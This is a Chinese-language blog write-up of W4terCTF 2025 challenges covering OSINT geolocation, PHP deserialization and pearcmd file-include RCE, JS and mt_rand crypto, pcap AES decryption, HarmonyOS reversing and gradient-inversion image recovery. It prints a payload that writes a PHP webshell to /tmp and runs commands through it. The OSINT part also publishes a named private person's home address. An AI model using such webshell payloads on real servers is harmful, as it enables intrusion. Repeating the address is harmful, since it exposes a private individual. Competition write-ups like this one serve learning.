W4terCTF 2025

OSINT
非常好玩的图寻题,但充分暴露出地理常识为0。幸运地抢了个三血。
海的那边是
POV:羡慕出题人在海边度假
因为对出题人在群里说正在San Diego的印象比较深,马上定位图片位置大概就是La Jolla。
task1
保存图片后查看图片属性
ans:20250427
task3
先定位到建筑的位置会更方便做剩下几问,于是打开谷歌识图:
发现了一模一样的建筑,连水管和猫头鹰装饰都一模一样!
打开作者主页:
其他图片显示的内容也佐证了这一点,在海边。
本来想在谷歌地图里面暴走一圈找到这个建筑来着,但是太暴力了点。
又想去其他社交平台找这个作者,但是没什么发现。不过意外发现了这个作者的住址:Jeremiah Regner, located at 9505 Gold Coast Dr Apt 98, San Diego, CA.
地点极其符合——在谷歌地图定位这个地址:
先在作者家附近的海岸找,果然找到了:
在地图上走啊走,就走到了:
ans:Hubbs Hall
task2
谷歌地图上是有充电头信息的,但是找不到,绷🤣
不过好在有很多充电桩分布的网站提供信息。
ans:J1772
task4
ez,随便找个出发点,最后都要坐30路公交。
ans:30
task5
Hubbs Hall旁边的潮汐监测点在 Sccripps Pier,其站点编号是9410230。
找到相关数据网站就有了。
图中数据即是5月7号的海浪预测峰值
p.s.:因为这里死活填不对,拷打了下出题人,出题人说可以ft转cm可以先舍去小数部分再计算,4ft算出来四舍五入是122,但是正确答案是121🥲。(原来保留整数就真的只是保留整数(部分)。。)
以及不同网站的预测数据不太一样,有点搞……
ans:122 or 143
task6
不学地理是这样的,☝️🤓可以算出海浪峰值周期40000多秒。
找到现成的数据就好了:
ans:10
flag
1 | Flag: W4terCTF{Sc1ENc3_UndOUBTEd1Y_IMMorT4I_5EA_Un4R9U481y_IlLumln4tlnG} |
WEB
Core Dump Error(签到题)
半夜误打误撞做出来了。
原来视频里面的issue只是被close而不是被delete了 hhh。
只要找到相关issue的POC链然后改一下exec执行的命令就好了
1 | { |
1 | Flag: W4terCTF{c0N9ra7u1ATIonS_0N_hacK1nG_A_pRoGraM_foR_TH3_1IrSt_t1Me} |
Happy PHP
part1
阅读php代码,梳理逻辑如下:
如果url中传递了参数 gogogo ,该对象就会被反序列化。
反序列化的对象会触发魔术方法__wakeup(),并返回gogogo的结果。
如果触发phpis 类的__invoke()方法,则执行fun1(fun2()),并通过eval()函数执行代码。返回结果 == ‘Yelia’的话,就调用 what->saying。
要调用piece1->here(),必须让 $flag 的 MD5 值等于 md5(666)。
如果两个不同的变量 $sy 和 $su 的 MD5 和 SHA1相等,就能echo fl491.txt。
通过构造反序列化的POP链,获得payload
1 |
|
1 | Flag_piece_1: W4terCTF{i5_pHp |
part2
进到 /1nCLud3.php 目录下
根据源码,需要构造参数file,同时又要绕过正则匹配。试了很多种绕过都不太行,虽然$_SERVER[‘QUERY_STRING’]在匹配的时候不会进行url解码,但是同样include打开文件的时候也不会进行url解码,试图构造用url编码方式绕过正则匹配的方式就行不通。
根据提示:register_argc_argv=On,找到博客[register_argc_argv与include to RCE的巧妙组合 - Longlone’s Blog](https://longlone.top/安全/安全研究/register_argc_argv与include to RCE的巧妙组合/)
和这道题的思路非常像,所以仿照博客中的解题思路,利用pearcmd执行rce:
“当我们include一个可以被php解析的文件的时候,php代码会被自动执行,这样在registerargcargv开启的情况下我们就有可能通过包含pearcmd.php与操控$_SERVER[‘argv’]来执行pear命令。”
1 | ?file=pearcmd&+config-create+/<?phpsystem($_GET['cmd']);?>+/tmp/evil.php |
因为浏览器会将< ? > 转义,所以通过burpsuite抓包后再GET传参
这便拿到了cmd的控制权,随后查找剩下的flag
通过include打开evil.php继续利用cmd
1 | ?file=/tmp/evil&cmd=ls /tmp |
再配合通配符绕过一下
1 | ?file=/tmp/evil&cmd=cat /tmp/f*lag2.txt |
1 | Flag_piece2: _The_SA1E57_IaN9Ua63_in_tH3_wOr1D?_3nJoyyy_1t!} |
1 | Flag: W4terCTF{i5_pHp_The_SA1E57_IaN9Ua63_in_tH3_wOr1D?_3nJoyyy_1t!} |
Front End
密码的web题
base64编码
打开 /hint.html
看到注释——JavaScript 混淆表达式。在控制台运行一下,得到encode.php
来到密码的部分
根据
这一部分的判断逻辑,如果变量 rand 等于0 就输出加密后的内容。
根据 rand 的定义,传递参数 r = 1537101982
得到了调用两次encrypt的加密结果:
1 | Encrypted: 253430495677694834376a30334d7643476e42466b36457a5672714649736d326b626d4c33666f4b6e546c7a324c583857396331543079 |
而在php语言中,mt_rand()生成随机数的方式一般是根据时间戳,如果固定了种子,调用mt_srand(seed)后,mt_rand()生成的随机数序列是不变的。可以得出第一次调用 mt_rand()得到的值等于r,即 1537101982。
网上查阅资料可知,可从生成的随机数序列倒推种子。运行脚本后得到:
得出了几个满足条件的种子,正向地用这些种子生成随机数序列
1 |
|
最后再根据原文的加密逻辑倒推flag:
1 |
|
可成功解密flag
1 | W4terCTF{A1b_fROn7EnD_kEep5_8rEwinG} |
REVERSE
网站管理员的登录密码
根据提示需要找到成功登录的密码
打开.pcapng,定位POST请求下的login流量包。
状态显示登陆成功,接下来只需要破解这段密码即可。
找到了密码的加密方式,用一个密钥和一个初始向量,AES加密
对应地写个解密脚本
1 | from Crypto.Cipher import AES |
1 | Flag: W4terCTF{Fr0N73Nd!_17'5_my_5ymM3trlC_3ncrYpt1On!!!!!} |
和谐小APP
参考了这篇博客:鸿蒙逆向 - SHCTF - Android?Harmony!题解 - 吾爱破解 - 52pojie.cn
先将.hap文件改为.zip后缀解压

找到.abc文件,用abc反编译工具打开。在 entryability 下定位到 W4terCTF:
这段反编译的结果大致是说,如果 trim == “flag”,trim2 ==”W4terCTF{…}”,就会触发彩蛋。而彩蛋是从“libentry.so”中导入的guessWhat函数在 输入是trim2,种子是20250428 的条件下生成的。
1 | orz = import { default as orz } from "@normalized:Y&&&libentry.so&"; |
那么就定位到 libentry.so 文件。用 IDA 打开,定位到guesswhat函数
找到了函数的实际入口地址,F5一下,反编译代码主要逻辑如下:
1 | napi_get_value_string_utf8(a1, v18, s1, 128LL, v13);//字符串 |
所以下面就是要去找到 target
提取出target的所有字节,并基于上面的变换逻辑恢复出flag即可
1 | import struct |
1 | Flag: W4terCTF{WHEN_yOUr_DReAMS_COME_AIivE_YoU'r3_Un5T0pp461E} |
AI
Gradient
AI题先交给AI做,后面一定好好上创新实践训练课😭😭😭
特别感谢出题人R1ck,因为深度学习的知识尚浅薄,靠R1ck提点才有今天的成功,也算是给这次比赛画上一个圆满的句号了。
根据题目,找到参考的论文以及源代码。
1 | # 核心代码 |
恢复的方法大意是指:
- 先随机初始化一个虚假的原始图像dummy_data和原始标签dummy_label
- 用LBFGS优化器来优化dummy_data和dummy_label,让他们产生的梯度和原始的梯度越来越接近
- 然后对dummy_data在神经网络上前向传播,用dummy_label作为目标衡量损失 loss
- 计算dummy_data的梯度
- 衡量dummy_grad和origin_grad的差异,然后对dummy_data和dummy_label反向传播来优化。
- 最后返回输出和标签,还原原始样本。
现有的文件是 model.pth 和一些 梯度文件 .grad
1 | import torch |
通过torch.load打印模型信息,输出了每个卷积层的权重以及全连接层的权重。
- 卷积层权重:卷积核数量、输入通道数、卷积核大小。
- 全连接层权重:输入与输出之间的连接。
1 | # 输出如下 |
拷打出题人后,发现对 .pth 文件挖掘不充分,进一步打印自定义类的超参数,得到一个hint
1 | import argparse |
1 | hint: 7h3_84ck6r0und_0f_7h3_ch4r4c73r_1m463_15_wh173😝 |
那么结合上述的神经网络的信息,就能导入梯度迭代恢复了。
1 | # -*- coding: utf-8 -*- |
1 | # model.py |
1 | # utils.py |
1 | # -*- coding: utf-8 -*- |
然后就能预测图像了。
注意预测过程中,有些图像会因为迭代次数过大而“矫枉过正”,所以针对某些损失依旧很大的图像可以适当降低迭代次数,单独进行训练。
最后恢复出了的图像如下:
数据处理的比较乱。。。
恢复出来发现并不是顺序可读的flag。
想到了用时间判断梯度生成的先后,结果发现精确到毫秒级所有样本都是一模一样的。然后问ai说可以通过损失判断训练的先后,因为损失一般是收敛的,但并没有观察出什么规律。又莫名其妙发现.grad可以解压,有个serialization_id,还以为和梯度顺序有关,但其实只是训练设备的标号。最后才知道顺序和标签有关——
(又重新训了一遍数据看标签的值)
1 | # 6. 输出恢复标签 |
这个标签代表了梯度的顺序。
需要注意的是,如果迭代时损失比较大,可能就不能使标签收敛到正确的值。所以也需要再调整迭代次数重新训练。
因为数据处理的比较乱,则列了一个表格记录标签值
最后一个样本在恢复标签值时始终找不到合适的迭代次数,但好在通过标签值排序后已经恢复出了flag的大意:R1ck likes ai security,所以便没有重新训练该样本。
历经千辛万苦得到了flag:
1 | Flag: W4terCTF{R1ck_iik35_41_53cur17y} |
虽然课没好好上,但是通过这次ai安全的题目感觉把之前欠的都补回来了。
小结
在比赛中的成长只有靠写WP才能沉淀。但是太拖延了几乎比完赛才开始动笔写。
虽然只能做做简单题,但是能坚持在五一打比赛已经很了不起了😭😭👍
相比去年只做出一道题,今年进步也算不小了,虽然有不少的功劳出自ai和出题人。(出题人们真的好强,真是学到了不少东西)
感谢队友的鼎力相助,看到队友能挑战pwn题和hard题——仰慕.jpg
比赛过的很快,五一也过得很快。是时候该补作业了。
后记
压线过二等。
- Title: W4terCTF 2025
- Author: Pomni
- Created at : 2025-05-13 19:33:14
- Updated at : 2025-05-13 23:38:39
- Link: https://pomni.fun/2025/05/13/W4terCTF-2025/
- License: This work is licensed under CC BY-NC-SA 4.0.